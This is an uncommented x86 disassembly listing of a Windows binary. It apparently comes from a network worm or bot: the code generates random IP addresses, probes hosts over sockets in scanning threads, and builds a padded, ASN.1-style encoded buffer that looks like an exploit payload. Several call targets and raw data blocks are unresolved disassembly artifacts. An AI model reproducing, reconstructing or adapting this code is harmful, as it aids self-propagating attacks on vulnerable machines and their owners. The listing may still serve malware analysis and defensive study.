		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C2D7
		xor	eax, eax
		jmp	short loc_40C348
; ---------------------------------------------------------------------------


loc_40C2D7:				; CODE XREF: sub_40C2AF+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41CCE3
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C304
		call	sub_41C2C2
		mov	[ebp+var_C], eax


loc_40C304:				; CODE XREF: sub_40C2AF+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C311
		call	sub_41C2C2
		mov	[ebp+var_8], eax


loc_40C311:				; CODE XREF: sub_40C2AF+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C31E
		call	sub_41C2C2
		mov	[ebp+var_4], eax


loc_40C31E:				; CODE XREF: sub_40C2AF+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C32A
		call	sub_41C2C2


loc_40C32A:				; CODE XREF: sub_40C2AF+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4CBB20[ecx*8], eax


loc_40C348:				; CODE XREF: sub_40C2AF+26j
		pop	esi
		leave
		retn
sub_40C2AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C34B	proc near		; CODE XREF: ___:0040BBBEp
					; sub_40C3E8+BBp ...

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4CBA54
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C374
		xor	eax, eax
		jmp	short loc_40C3E3
; ---------------------------------------------------------------------------


loc_40C374:				; CODE XREF: sub_40C34B+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4CB9D4
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CBA70
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB97C
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4CB9BC
		push	esi
		mov	edi, eax
		call	dword_4CBA6C
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40C3E3:				; CODE XREF: sub_40C34B+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C34B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C3E8	proc near		; DATA XREF: sub_40C3E8+353o

var_29C		= dword	ptr -29Ch
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_1CC		= byte ptr -1CCh
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		nop
		call	near ptr 26B0E28h
		push	eax
		call	sub_41C2B8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_40C42F:				; CODE XREF: sub_40C3E8+204j
		mov	eax, dword_43E914[ebx]
		cmp	dword_4CBB24[eax*8], 0
		jz	loc_40C5F1
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C459
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40C2AF
		pop	ecx
		jmp	short loc_40C45E
; ---------------------------------------------------------------------------


loc_40C459:				; CODE XREF: sub_40C3E8+60j
		call	sub_40C267


loc_40C45E:				; CODE XREF: sub_40C3E8+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43E914[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431E64
		push	eax
		call	sub_41C266
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43E710[ebx]
		push	eax
		call	sub_41C266
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C34B
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40C5E1
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C535
		push	offset dword_4CDB20
		nop
		call	near ptr 77F7E21Fh
		push	[ebp+var_3C]
		push	edi
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431E3C
		push	eax
		call	sub_41C266
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C517
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C50B
		lea	eax, [ebp+var_140]


loc_40C50B:				; CODE XREF: sub_40C3E8+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_409869
		add	esp, 14h


loc_40C517:				; CODE XREF: sub_40C3E8+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_415D38
		mov	[esp+29Ch+var_29C], offset dword_4CDB20
		nop
		call	near ptr 77F7E300h
		jmp	loc_40C5E1
; ---------------------------------------------------------------------------


loc_40C535:				; CODE XREF: sub_40C3E8+D0j
		push	edi
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41C266
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41C266
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C57A
		lea	eax, [ebp+var_140]


loc_40C57A:				; CODE XREF: sub_40C3E8+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41C266
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_4317FC[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40C5E1:				; CODE XREF: sub_40C3E8+C6j
					; sub_40C3E8+148j
		push	7D0h
		nop
		call	near ptr 26A0428h
		jmp	loc_40C42F
; ---------------------------------------------------------------------------


loc_40C5F1:				; CODE XREF: sub_40C3E8+55j
		push	esi
		call	sub_40B6D6
		pop	ecx
		push	0
		nop
		call	near ptr 2700000h


loc_40C600:				; DATA XREF: sub_401ACD+1F2Ao
					; sub_401ACD+5B7Ao
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4CBA14
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4CBB20[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BD91
		push	0Bh
		call	sub_40B602
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C6CE
		mov	esi, offset dword_4CDB20
		push	esi
		nop
		call	near ptr 270068Ch
		push	80000400h
		push	esi
		nop
		call	near ptr 270048Dh
		test	eax, eax
		jnz	short loc_40C6CE
		lea	eax, [ebp+var_1CC]
		push	offset unk_431F48
		push	eax
		call	sub_41C266
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C6B8
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409869
		add	esp, 14h


loc_40C6B8:				; CODE XREF: sub_40C3E8+2B1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415D38
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40C6CE:				; CODE XREF: sub_40C3E8+27Bj
					; sub_40C3E8+297j
		mov	eax, [ebp+var_2C]
		mov	esi, dword_427080
		mov	edi, ebx
		mov	dword_4CBB24[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C79B


loc_40C6EC:				; CODE XREF: sub_40C3E8+3ADj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431F14
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40B3BA
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43E914[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C3E8
		push	ebx
		push	ebx
		call	near ptr 26A048Eh
		nop
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40C766


loc_40C75B:				; CODE XREF: sub_40C3E8+37Cj
		cmp	[ebp+var_4], ebx
		jnz	short loc_40C78D
		push	1Eh
		call	esi
		jmp	short loc_40C75B
; ---------------------------------------------------------------------------


loc_40C766:				; CODE XREF: sub_40C3E8+371j
		nop
		call	near ptr 26A0E98h
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431EDC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_40C78D:				; CODE XREF: sub_40C3E8+376j
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C6EC


loc_40C79B:				; CODE XREF: sub_40C3E8+2FEj
		cmp	[ebp+var_30], ebx
		jz	loc_40C845
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi


loc_40C7B0:				; CODE XREF: sub_40C3E8+468j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4CBB20[eax*8]
		push	eax
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431E9C
		push	eax
		call	sub_41C266
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C7FE
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409869
		add	esp, 14h


loc_40C7FE:				; CODE XREF: sub_40C3E8+3F7j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+var_2C]
		mov	[esp+29Ch+var_29C], 0BB8h
		mov	dword_4CBB24[eax*8], ebx
		call	esi
		push	0Bh
		call	sub_40B602
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C835
		push	offset dword_4CDB20
		nop
		call	near ptr 270068Ch


loc_40C835:				; CODE XREF: sub_40C3E8+440j
		push	[ebp+var_2C]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 2700000h


loc_40C845:				; CODE XREF: sub_40C3E8+3B6j
					; sub_40C3E8+475j
		mov	eax, [ebp+var_2C]
		cmp	dword_4CBB24[eax*8], 1
		jnz	loc_40C7B0
		push	7D0h
		call	esi
		jmp	short loc_40C845
sub_40C3E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C85F	proc near

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4CB9D4
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CBA54
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C91D
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CB97C
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43E91C[ecx], esi
		jz	short loc_40C91D
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4CBA60
		push	eax
		mov	edi, offset dword_4CE4E4
		push	offset dword_431F7C
		push	edi
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409869
		push	edi
		call	sub_415D38
		add	esp, 28h


loc_40C91D:				; CODE XREF: sub_40C85F+5Dj
					; sub_40C85F+7Ej
		push	esi
		call	dword_4CBA6C
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C85F	endp

; ---------------------------------------------------------------------------
dword_40C92C	dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh
					; DATA XREF: sub_401ACD+5F60o
		dd 0FF4CBD8Dh, 0A5F3FFFFh, 7080358Bh, 83C70042h, 0A4h
		dd 1, 75FFFF33h, 0E075FFD0h, 0BA6015FFh, 8D50004Ch, 0FFFECC85h
		dd 1FA468FFh, 0E8500043h, 0F8EEh, 0FECC858Dh, 0FF68FFFFh
		dd 50000001h, 69DC458Bh, 234C0h, 0E7100500h, 0E8500043h
		dd 0F638h, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh
		dd 40C85Fh, 0E8905757h,	2293ADAh, 4589C73Bh, 390B74FCh
		dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 31E890FCh, 0FF022736h
		dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah
		dd 0E8500845h, 10334h, 0FF0CC483h, 15FF0875h, 4CB8FCh
		dd 45895040h, 0D015FF08h, 89004CB9h, 458D0845h,	50046A08h
		dd 50E0458Dh, 1030BE8h,	0CC48300h, 0FFFF3DE9h
		db 0FFh
byte_40CA1D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5C80o
		dd 130EC81h, 8B530000h,	5756085Dh, 0F38B2B6Ah, 50BD8D59h
		dd 0F3FFFFFFh, 80358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
		dd 75FFD475h, 6015FFE4h, 50004CBAh, 0FED0858Dh,	0F868FFFFh
		dd 5000431Fh, 0F7FDE8h,	0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h
		dd 234C069h, 10050000h,	500043E7h, 0F547E8h, 1CC48300h
		dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C85F68h,	90575700h
		dd 2939E9E8h, 89C73B02h, 0B740845h, 75F87D39h, 0FF326A06h
		dd 0FFF5EBD6h, 0E8900875h, 2273540h, 8CB3FFh, 0BB890000h
		dd 0A8h, 458BD6FFh, 0D8453BD4h,	45FF0874h, 0FF6DE9D4h
		dd 75FFFFFFh, 6015FFE4h, 50004CBAh, 0FED0858Dh,	0CC68FFFFh
		dd 5000431Fh, 0F76DE8h,	858D5700h, 0FFFFFED0h, 50EC75FFh
		dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0CD53E8FFh, 75FFFFFFh
		dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh
		db 4, 0

; =============== S U B	R O U T	I N E =======================================



sub_40CB2A	proc near		; CODE XREF: sub_40CD9E+Ep
					; sub_40CD9E+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40CB2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CB34	proc near		; CODE XREF: sub_40CD9E+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41BEB5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40CB66
		push	ebx
		push	0
		push	edi
		call	sub_41BF70
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41CD20
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40CB66:				; CODE XREF: sub_40CB34+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40CB34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CB6E	proc near		; CODE XREF: sub_40CC68+18p
					; sub_40CCE2+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40CBBA
		push	edi
		push	0
		push	esi
		call	sub_41BF70
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41CD20
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41CD20
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40CBBA:				; CODE XREF: sub_40CB6E+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40CB6E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CBC3	proc near		; CODE XREF: sub_40CC68+5Ep
					; sub_40CC68+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40CBD3
		push	eax
		call	sub_41BA91
		pop	ecx


loc_40CBD3:				; CODE XREF: sub_40CBC3+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40CBC3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CBDC	proc near		; CODE XREF: sub_40CC68+20p
					; sub_40CD43+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40CC09
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41BEB5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40CC0D


loc_40CC09:				; CODE XREF: sub_40CBDC+Dj
		xor	al, al
		jmp	short loc_40CC64
; ---------------------------------------------------------------------------


loc_40CC0D:				; CODE XREF: sub_40CBDC+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41BF70
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40CC32
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40CC4C
; ---------------------------------------------------------------------------


loc_40CC32:				; CODE XREF: sub_40CBDC+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40CC4C:				; CODE XREF: sub_40CBDC+54j
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41BA91
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40CC64:				; CODE XREF: sub_40CBDC+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40CBDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CC68	proc near		; CODE XREF: sub_40CD9E+89p
					; sub_40CD9E+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset word_4CB88C
		call	sub_40CB6E
		lea	ecx, [ebp+var_8]
		call	sub_40CBDC
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41BEB5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40CCA2
		xor	al, al
		jmp	short loc_40CCDE
; ---------------------------------------------------------------------------


loc_40CCA2:				; CODE XREF: sub_40CC68+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41BF70
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41CD20
		add	esp, 18h
		mov	ecx, esi
		call	sub_40CBC3
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40CBC3
		mov	al, 1


loc_40CCDE:				; CODE XREF: sub_40CC68+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40CC68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CCE2	proc near		; CODE XREF: sub_40CD16+14p
					; sub_40CD33+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40CB6E
		mov	ecx, esi
		call	sub_40CBC3
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CCE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD16	proc near		; CODE XREF: sub_40CD9E+F0p
					; sub_40CD9E+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41B9C0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CCE2
		pop	esi
		retn	4
sub_40CD16	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD33	proc near		; CODE XREF: sub_40CD7F+Bp
					; sub_40CD9E+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CCE2
		retn	8
sub_40CD33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD43	proc near		; CODE XREF: sub_40CD7F+16p
					; sub_40CD9E+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40CBDC
		test	al, al
		jz	short loc_40CD7C
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42CC80
		call	sub_40CB6E
		mov	ecx, esi
		call	sub_40CBC3
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40CD7C:				; CODE XREF: sub_40CD43+Fj
		pop	esi
		leave
		retn
sub_40CD43	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD7F	proc near		; CODE XREF: sub_40CD9E+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CD33
		test	al, al
		jz	short loc_40CD9A
		mov	ecx, esi
		call	sub_40CD43


loc_40CD9A:				; CODE XREF: sub_40CD7F+12j
		pop	esi
		retn	8
sub_40CD7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD9E	proc near		; CODE XREF: ___:0040D625p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40CB2A
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40D0F2
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40D0F2
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40CB2A
		lea	ecx, [ebp+var_20]
		call	sub_40CB2A
		lea	ecx, [ebp+var_50]
		call	sub_40CB2A
		lea	ecx, [ebp+var_18]
		call	sub_40CB2A
		lea	ecx, [ebp+var_40]
		call	sub_40CB2A
		lea	ecx, [ebp+var_38]
		call	sub_40CB2A
		lea	ecx, [ebp+var_28]
		call	sub_40CB2A
		push	4
		push	offset dword_432030
		lea	ecx, [ebp+var_30]
		call	sub_40CCE2
		push	3
		push	offset dword_432038
		lea	ecx, [ebp+var_30]
		call	sub_40CCE2
		lea	ecx, [ebp+var_30]
		call	sub_40CC68
		lea	ecx, [ebp+var_30]
		call	sub_40CD43
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40CCE2
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CCE2
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
